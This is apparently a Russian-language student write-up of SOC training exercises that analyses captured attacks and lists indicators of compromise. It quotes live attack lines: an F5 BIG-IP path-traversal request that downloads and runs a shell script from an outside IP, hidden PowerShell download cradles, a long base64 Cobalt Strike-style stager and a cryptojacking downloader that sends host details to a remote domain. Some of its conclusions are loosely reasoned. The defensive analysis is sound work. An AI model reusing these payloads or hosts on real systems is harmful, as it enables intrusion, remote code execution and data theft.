<h1>Мониторинг ИБ. Работа специалиста SOC</h1>
## Задание 1
1. Опишите, что происходит (чего добиваются атакующие).
2. Выделите признаки, по которым понятно, что происходит атака.
3. Выделите IoС'и, которые могут быть использованы для выявления подобной активности в будущем.
4. Укажите, каким образом можно удостовериться в том, удалось ли атакующим достигнуть того, чего они добивались этим запросом.
HTTP-Запрос
GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=wget+http%253A%252F%252F136.144.41.3%252Bigipdmcdmsklcmk%252ohsitsvegawellrip.sh+%253B+chmod+777+ohsitsvegawellrip.sh+%253B+sh+ohsitsvegawellrip.sh+%253B+wget+https%253A%252F%252Fhttps:%252%252iplogger.org%2522FGVP5 HTTP/1.1
Host: 10.27.243.60
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.25.1
Для начала заменим "сломавшуюся" кодировку для удобства %253A = ":" %252F = "/" %252B = "+"
Итоговый HTTP-Запрос
GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=wget+http://136.144.41.3/Bigipdmcdmsklcmk/ohsitsvegawellrip.sh + chmod 777 ohsitsvegawellrip.sh + sh ohsitsvegawellrip.sh + wget https://https://iplogger.org/2FGVP5 HTTP/1.1
Разберем его по частям:
1 часть
GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=wget+http://136.144.41.3/Bigipdmcdmsklcmk/ohsitsvegawellrip.sh
В данной части атакующий удаленно исполняет команду для скачивания файла, об этом свидетельствует часть строки command=wget
расширение файла .sh свидетельствует о том что это shell-скрипт.
2 часть
chmod 777 ohsitsvegawellrip.sh
Эта команда изменяет права на файл. После выполнения данной команды файл могут просматривать изменять и исполнять все пользователи
3 часть
sh ohsitsvegawellrip.sh
Данная команда приводит к исполнению ранее скачанного файла
4 часть
wget https://https://iplogger.org/2FGVP5
Даная команда скачивает iplogger который позволяет узнать ip жертвы
Признаки по которым можно понять, что это - атака:
Удаленное исполнение команды
Изменение прав на скачанном файле и дальнейшее его исполнение
Удаленное скачивание iplogger
Индикаторы компрометации которые помогут в будущем определить атаку:
Атомарные - ip-адреса, DNS-адреса, полные URL
Вычисляемые - MD5, SHA1, ключи реестра, списки процессов
Удалось ли атакующим сделать, что они хотели(в рамках данного задания), можно узнать проверив скачались ли файлы по ссылке
и если ранее был настроен журнал security можно увидеть изменение прав на файл, также можно увидеть исполнение файла в PowerShell log
## Задание 2
1. Что подозрительного в событии?
2. С какой целью реализовано?
Commandinvocation(Invoke-Expression): “Invoke-
Expression” ParameterBinding(Invoke-Expression):
name="Command”; value=" &("{2}{3}{0}{1}{4}" -f '-',("{0}
{1}"-f ("{1}{0}"-f're','Exp'),'ss'),'l',("{0}{1}" -f'nvo','ke'),'ion')(.("{2}{1}{0}" -f("{0}{1}"-f'je','ct'),("{0}{1}" -f'ew','-Ob'),'N')("{4}{3}{2}{0}{1}" -f'l','ient')
-f '7u' '/y'),'k'),("{1}{0}" -f
'ur' 'iny'),("{0}{1}"-f 'pd','uz')))"
Подозрения вызывает в данном событии нетипичный синтаксис команды
А реализовано это с целью обойти ограничение на выполнение шелл кода путем сбора команды для обхода невозможности выполнения шелла из-за отсутствия привилегий или настройки ограниченного языкового режима
## Задание 3
В файле task3.evtx содержатся события журнала аудита Windows.
1. Что в этих событиях является подозрительным?
2. Какие признаки указанных событий на это указывают?
3. Какие IoC'и можно выделить из этих событий?
4. Опишите подробно суть подозрительных действий в системе, зафиксированных в этом журнале.
Подозрение вызывает выполнение команды в PowerShell которая закодирована в base64 и также это дочерний процесс WINWORD.exe
При раскодировании получится команда
-Nop -sta -noni -w hidden -encodedCommand
I.E.X. .(.N.e.w.-.O.b.j.e.c.t. .S.y.s.t.e.m...N.e.t...W.e.b.C.l.i.e.n.t.)...D.o.w.n.l.o.a.d.S.t.r.i.n.g.(.'.h.t.t.p.:././.o.m.n.i.-.c.o.n.s.u.m.e.r.-.p.r.0.d.u.c.t.s...t.k./.f.a.v.i.c.o.n...i.c.o.'.).;.
Индикатором компрометации является прямая url ссылка
Суть действий:
Открывается Word
ВПО открывает powershell и выполняет команду для скачивания файла
Далее выполняется CONHOST.exe, родительским процессом которого является выполненная команда в powershell
Этот процесс выполняет удаленное подключение
## Задание 4
В файле event.json приведено корреляционное событие на основе событий журнала аудита Windows.
1. Что произошло на узле?
2. С помощью чего это удалось добиться?
3. Если есть, то укажите адрес C&C и порт.
Начнем анализ с команды в powershell часть которой закодирована в base64
```
"powershell.exe -nop -w hidden -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAkAGUAbgB2ADoAdwBpAG4AZABpAHIAKwAnAFwAcwB5AHMAbgBhAHQAaQB2AGUAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQBlAGwAcwBlAHsAJABiAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAJwB9ADsAJABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACQAcwAuAEYAaQBsAGUATgBhAG0AZQA9ACQAYgA7ACQAcwAuAEEAcgBnAHUAbQBlAG4AdABzAD0AJwAtAG4AbwBwACAALQB3ACAAaABpAGQAZABlAG4AIAAtAGMAIAAmACgAWwBzAGMAcgBpAHAAdABiAGwAbwBjAGsAXQA6ADoAYwByAGUAYQB0AGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAsAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAoACgAJwAnAEgANABzAEkAQQBIAEMAKwBEAEcATQBDAEEANwBWAFgANwBZACsAYQBTAEIAagAvADMAcQBUAC8AQQAyAGwATQB4AEsAdwByAHUARwB1ADMAWABwAE0AbQBOAHkAZwBvAFYAbgBkAGwAVQBWAHkAMQA1AHMATABDACcAJwArACcAJwBDAEYATQBIAHMARABEADQAcwByADMAKwA3AC8AYwBNAFEAcgBWAFgAOQAyADcAdgBrAHMANABYAG4ASgBuAG4AOQBmAHsAMQB9ADgAagBjAHMAMAAnACcAKwAnACcAZABCAGkASgBRAGkARwBOAFAAewAxAH0ASAByADYAMQBkAEMAdgBvAFoAMgBiAEEAewAxAH0AQwBXAE4AcQA5AHEAdwBxAGwASgA2AFYAYgBPAFYANgBWAHQAdgAyACsAbwB3AGcAZgBCAEgARwBPADEAdQB0ADIARgBOAGcAawBYAEwAeAAvADMAMAByAGoARwBJAGYAcwBzAEsAOQAxAE0ARQBOAEoAZwBvAE4ASABTAG4AQQBpAFYAbwBRAC8AaABZAG0AUABZACcAJwArACcAJwAzAHgANQA5AC8AZwBaAE8AMAB6ADQASwBwAFQAKwBxAEgAVgBvADkARwBqAFQAbgBHAHoAZgBzAGgAMABmAEMANQBjAG8AZABQAGwAZABQADMASgBzAGIAbABmAE4AWABGAFAAQwB4AFAASwBuAFQAKwBYAEsALwBMAEsAKwBxAEsAbABmAFUAcABzAG0AWQB0AG4AYwBKAHcAdwBIAE4AWgBmAFMAYwBrAFgANABWAHUARQBLAFIALwBzADEARgBzAHMARAA0AHMAUgBSAEUAaQAxAFoAYgBVAEwAQwA2ADYAdgBhAE8ARQAnACcAKwAnACcAegBzAEoAYgA0AEYAYQBSAHMAOAB3AE0AeQBQADMASwBRAE0AMwBoAHoAOQBpAFQARgBMADQAegBCADMAaQAnACcAKwAnACcAOABzADUAVQBJAGwAbAArAEQAbQBNAEkAdwB7ADEAfQA1AGIAbwB5AFQAcABGAHcAVgA1AGwAegBEAGYATABIADQAWABaAHoAbgA2AHUALwBUAGsASgBFAEEAMQAvAFMAUQA0AFQAaABhAG0AegAnACcAKwAnACcAagB7ADEAfQBFAEEAYwAnACcAKwAnACcAbgB0AGEANABkAHUAaABUAGYANAArAFUAQwB1AEUAdwBXAGsAOQBCAGIAVgBDAHAAQQB0AG8AbABXAFcAQwB5AEYASwBhAFYAVgA0AGIAKwBJAEUAVwAvAHgAdABnAEQAdgBwAFUAegBpAEsAUgBOAFEARABWAGwAYwBxAFUASgBNAHoAegBrADYAaQBOAHkAVQA0AGcATgByACsAWQB5AGwAawBBAGcAVgBXAEgAawB5AEEASAA3AGYATwBJAFQATABJAG4AdQBTAGoAVABNACsAawB6ADcASABnADIATABOAHMAeABzAE0ARgBvAHYAJwAnACsAJwAnAEQASwBDAEUAWgA4AHcAZABCAHIAZwBvAEQAVQBHADIAegBLAE4ANwBEAHQAagBTAEsAVQAxAHgAWgBmAE0AYwBiAFkAdgBOAFIAMwA0AFgAVgBsADQAcQByAEYANwB6AEEAbQBXAHoAaABZAEcANQBGAHgARgAwAGMAMgBYACsASQBmACsAbABSADIAMAA4ACsAYwA2AHIAbgAwADcAbQBOAGwAeQBUAEUANwBYADEAbwBCADgAUQBwAE0AbABZADgARgB4AFMAOABwAEQAagBEAHAARgBhAFEAMwBZAEsAQgBZAGoAbQAvAHcARwA0AGIAVQArAHoAWgBqAEsAUABNAGMAKwBNAG4ATgBqAFUAZwA3AEQAdQB2AGsAaABMAHEANABoAGcANQBFACcAJwArACcAJwBOAGcARQByAEkASwBZAFYAMwA0ADAANQBoAEEANABzAGEAeQBIAEEAeAB3AEEAZgBJAGMAOQBKAEcAdABwAEMAWABXAEMAQwArAHEAOABOAHYAYQBGAGQAcgA0AEgAbwBuAEsATAAyAGsAbABTAEYAWQBZAHAARgBLAHAAVABGAFUAeABzAFUAKwB4AFcAQgBSAFEAbQBKAEwAOQBDAEsAWQB1AHkAbgArAFcAagB1AFkATwBVAE0AdQBMAFkAQwBTAHYARQBMAFMAcAAvAHgAegBQAFgAMgA0AHIAQwBoAE0AVwBwAEEANQBFAEYARABFAGIAbQBHAGoAdgBFAHAAaAB5AFMAcQB0AEEAbABMAGwAYgAyAEoAdgBFAEsALwB7ADEAfQBXAHoAZwBMAFIAcwBTAHEARgArACcAJwArACcAJwBRAE4ASQBHAEEAZwBJAG4ASABBAGkAVAA4AFgAeQBKAHcAZABSAEQAYgBsAFIAcQBKAG0AWgA2AHMASwBZADQAQQBLAEsAcwBkAFcAagBVACcAJwArACcAJwA5AHEAQgBSADUARwBXAFMAWgBaAGoAdABZAGIAZgA4AG4ASwBsAEYATgBSAHgAUwBuADQATgBUAG8ASABKAGkASwBFAFQAYwBwAEIARwByAEMAaABhAEoARwBYAFEAaQBEAG4AUwB5AC8AWAA5AFcALwAnACcAKwAnACcATgB5AEMARAB1AGEAMABZAHAAeABIAFMAQwB3AEsAYgBhADcAcwBHAGEAKwBFAFUAcgBCAEsARQBVAC8AVgBIAEsAWQBNAGwASgBnAEIASQBGAG8AYwBCAFkAcQBkADQASgAnACcAKwAnACcAdgBHAG8AZAAyAEkAYgB5AFMAVgB0AE4AOABPADIAOQBFAFQAZwBxAFYAcQA5ADQAYQBsAG0ARwBhADcAJwAnACsAJwAnAGEANAA2AHQARwBUAFYAMQBaAGsANQBWADAAaAAvADcAdgBrADcAcQB1AGoAYwBhAGQAWABzAG0AdQByAGcAMgBWADIAdQBkAFgAUABjAE0AbwBFAE4AeAB7ADEAfQArAGMAdgBrAFoANwBvAGEAbABmAFoARwAzAFUARgBPAFYAMwB5AHoAdQBwAGwAOQBFAFQAVwBtACcAJwArACcAJwA0AGEAbAA2AGMAaABWAEEAdQAvAEIAbQA3AGEAMgArAHQAQgAvADAARQBGAFIAcQArAC8AcABIAG4AdwBWADMAWABjAFUAewAxAH0AUwBaADcAaQBxAHcAegB2AGEATQBwAEsAcABHAFIAWgB4AHAAZABvADEARwBmADMAUQA0AGMAcQBrAHQATgBxAHAAQQBuAFUAegBkAFIAZAA4AEwAMQBHAFUANgAzADEANwBaADMAbwBFAGQAdABOAEwAbwBQAHUAeABHADYASABmAFMAUQByADkAMgA1ACcAJwArACcAJwBXAHYAMQBLADgAegBuAC8AaQB2AFAAUABWAHAAMQArAFcAOAAnACcAKwAnACcAMwAyAEQAdAA4AGIAMAAwAFEAbABLAHUAaABSAHQAYQBsAGgAKwBYAGgAaQByAFoAVwBKAHEAcwAwAE0AYQA2ADEANwBGADEAdgBQAHMAUABwAFMAUQAvAE0AVgBPAE4AZgBKAHIAcgA4ADIASgBWAGoAMQB7ADEAfQBtADgAVAB1AGsAOABEADIAbgB3AGEAZwBMAG0ARwBOAHsAMQB9AHMAUgBQAE4ATQA5AHYAUAB7ADEAfQBRAGcAWgBBADUARABhAG4ANQB1AEcAMABoAFIAYgB0AHYAcgBSAHQAdABKAEcAdABqAE8ARgB1AE4AOQBIAEIAbgBQAEsANABIADcAbgA3AGEAbABYADYAegBCAGcAUwB2AEkAMgBTAG8AQwBHAGsAVQBTAGoAVgBBADkAcgBZAHQAMQBTAGYAUgBSADgATgA2AGEANAB4AFYAewAxAH0AYgBjAGYAeQA3AHUAdAArAGwAbgBhAHEAcQBTADMAWAB7ADEAfQBYAGYAYwB7ADEAfQBmAG0AeABwAE8AVwBqAGEARgBrAG0AWAByAFkAdABYADAARgA3AE4AMwAzAEcAaQB2AFMAdQA0AEMANwB3AEwAYgBrADYAVgBLAHkATwBIADYAdABWAFMAZwA5AGgAUQAvADAAcABqAGYASQBNAEEAVgAvAEQATwBBAGgAUABGADYAMgBkAHcAOQA4AEIAeAA3AEUAUQB2ADEAQgBrAGkAeABQADgAdABDAFMAVwByAHIAWABOAEwAeQBIAEsATAB5AHkAVgB5AEIANwA0AGkARwB3AEUASAB5AEUAVwBDADkANwBPAG0AQwB2AHAASgBTAHMAeABoAGMAUABVAG4AMABNADkAcwBoAEIAYgB5AGQAegBXADQATgB7ADEAfQBFACsAUgBkAHIAYwA3AEkATgBIADMAQQAxAHAAMwBaAFMATwBGADIASwBKAE4ATwBoAEMAYQByAHoAawAxAHIAMwB4AHcATwB3AEEAKwByAEQAagBKAEQASwB4ADEATgB1AGkAQQBUAGIARQA1AFgAVABRADQAegB4AEwAWgB0AHQAcwBLAE8AcQBUADkAYwB1AFkALwAzAGkAbgBUAGgAVABtADEAUABtAFoAbgBPAHMAdABYAHMAVAA0AGkAMQBrAGEAdwAzAGsATwBUAHoATQBRAG4AWgA5AFIAWABrAE4AegBIADUAUABIAGoAOQBxAHUAUQBNAFQALwBMADgAdQBWAGsAMwBzAE8AUABFAHQAeQBuAGsAUAA4AHkAdwBvAGgAbABwAFUAYQB6AGwAZwAyAGsAWQBFAGMANABoAGkAdgB4ADUAcwA4AEoAeABpAEMAawA4AEMAewAxAH0ARABSAFUATgBRAHYAbwBqAFIAeQArAEYAVABNAEoAaABoAE0ANQBNAE8AYwA1AEcATgA3AHIARwBjAG0AbgBmAHQAVgBFAGIANABUAFYAbwA3AEQAcwBqAGgANgAvADMANABHAFIAawBKAFAANABNAFYAYQA2ACsAUABRAFkAMwA1AFYAMwBsADMATABNAHMAdwA1AHsAMQB9AFMAYwAzAHMAdABwAC8AdQBXAHUAdABhAEwAMABYAE0AMgBGAFYAUABpAGsAQgBtAFUASQAyAHoAVwBTAEQATwBMAEkAVQBSAFAARwBYAGcAdwBXAHYAJwAnACsAJwAnAEkAUQBaAE4AKwBYAG0ANABuAGsATQAnACcAKwAnACcATwBWAEsAKwBnAGcAMABKAFQAUAAzAFEAMQBqAHAAOABTAFIAZgBRAFUAdgBjAHkAdABZAHgANgBjAFEAQQB7ADEAfQBZADEAYwBIAHYATwBYADgASAA4AFEAUQBCADkAawB2ADgAUgBTAGcAJwAnACsAJwAnAHgALwBrAG8ANABmAFgAVwBVAE4AdABIAGsANwBwAGQAJwAnACsAJwAnAG0AVABkADYAYQBmAGYAaQA0AC8ANQBZADEAeAA3AE4ALwB1AEgAMQBSAEoAcwBsAFYARABzADUAUABoAHoAOAB7ADEAfQBuAEkAeQAxAFgAKwBmAC8AeABDAFkATQBDAEUAMABZAE0AQgBRAGYAWABqADcAbgBZAGMAagByADUAQwBTADgAUABEAFoAUQBCAGMAdAA4ADgAYgA4AEUAZAB5AG0ANwB2AEkAVQBIAFoAagBiAGsALwBnAEsASgA4AFUAVAAyAGkAZwB3AEEAQQBBAHsAMAB9AHsAMAB9ACcAJwApAC0AZgAnACcAPQAnACcALAAnACcAZQAnACcAKQApACkAKQAsAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApACkAKQAnADsAJABzAC4AVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAPQAkAGYAYQBsAHMAZQA7ACQAcwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAPQAkAHQAcgB1AGUAOwAkAHMALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAPQAnAEgAaQBkAGQAZQBuACcAOwAkAHMALgBDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAPQAkAHQAcgB1AGUAOwAkAHAAPQBbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAHQAYQByAHQAKAAkAHMAKQA7AA=="
```
Задекодим
Немного погуглим пейлоады и найдем информацию о cobalt strike
получим еще часть команды где есть base64
и ее тоже задекодим а после распакуем gunzip'ом
Тут увидим еще 1 base64
Задекодим его
Далее нагуглим вот такой декодер
https://github.com/lasq88/IR-Tools/blob/master/meterpreter.html
Закинем в него хеш после 1 декода и получим айпишник и порт 10.158.3.3:4433
## Задание 6
Некий пользователь решил скачать архив с "супер крутой игрой". Внутри лежал bat-файл, который пользователь спокойно запустил.
В файле Log.txt приведена выдержка из событий журнала аудита Windows, связанных с указанными действиями.
Опишите, что же на самом деле произошло на компьтере пользователя.
Укажите необходимые подробности и признаки, по которым можно выявлять подобную активность, а так же необходимые данные для осуществления мер по реагированию.
Посчитаем мд5 лога и закинем мд5 на вирустотал
и увидим что он задетектил троян
Откроем лог и увидим команду powershell часть которой закодирована в base64
Раскодируем ее
Увидим еще один декодинг base64
и после декодинга увидим ipadress к которому происходило подключение и скачивание батника
Был замечен просмотр реестра и подключение к удаленному хосту с выдачей прав (event 4103)
Далее создание файла и его открытие через привилегированную cmd
Методы обнаружения: вход стороннего пользователя, изменение реестра, создание новых файлов и папок
Медоды реагирования: возвращение настроеек реестра к изначальным дабы предотвратить запуск скрипта повторно, запрет на удаленное подключение, просмотр логов с целью анализа и удаления последних созданных файлов и папок
## Задание 5
В SOC одной компании обратился пользователь, обеспокоенный странными процессами Powershell, которые он обнаружил в диспетчере задач. В ходе расследования специалистам удалось получить информацию об одном из подозрительных PS-скриптов, выполнявшихся на его компьютере (см. файл command.txt)
Определите:
1. К какому семейству принадлежит данное ВПО?
2. Перечислите имена всех файлов, которые могли быть загружены на компьютер с помощью данного скрипта.
TIP: Поисковиком можно пользоваться
```
powershell.EXE -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient).'DownloadData'($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.amy'+'nx.com';a($url+'/a.jsp?ipc_20201126?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
```
1) Данное ПО относится к семейству cryptojacking
После попадания в инфру пытается распространиться и объединить все пк в ботнет с помощью уязвимости в smb cve-2017-0144
$url='http://'+'t.amy'+'nx.com';a($url+'/a.jsp?ipc_20201126?'
вот отсюда можно достать IoC url http://t.amynx.com/a.jsp?_20201126
2) Имена файлов
cr.bin
Dblue3.lnk
Dblue6.lnk
dn.ps1
Eblue3.lnk
Eblue6.lnk
Fblue3.lnk
Fblue6.lnk
Gblue3.lnk
Gblue6.lnk
Hblue3.lnk
Hblue6.lnk
Iblue3.lnk
Iblue6.lnk
if.bin
if_mail.bin
inf_data
Jblue3.lnk
Jblue6.lnk
Kblue3.lnk
Kblue6.lnk
logic.jsp
logico.jsp
m6.bin
m6.exe
m6g.bin
mimi.dat
ms.jsp
mso.jsp
nvd.zip
ode.bin
rdp.jsp
rdpo.jsp
readme.js
smgh.jsp
smgho.jsp
svchost.dat
tt.vbs
wanlins.aspx
wanlin.txt
Sign in with Wallet
Connect another wallet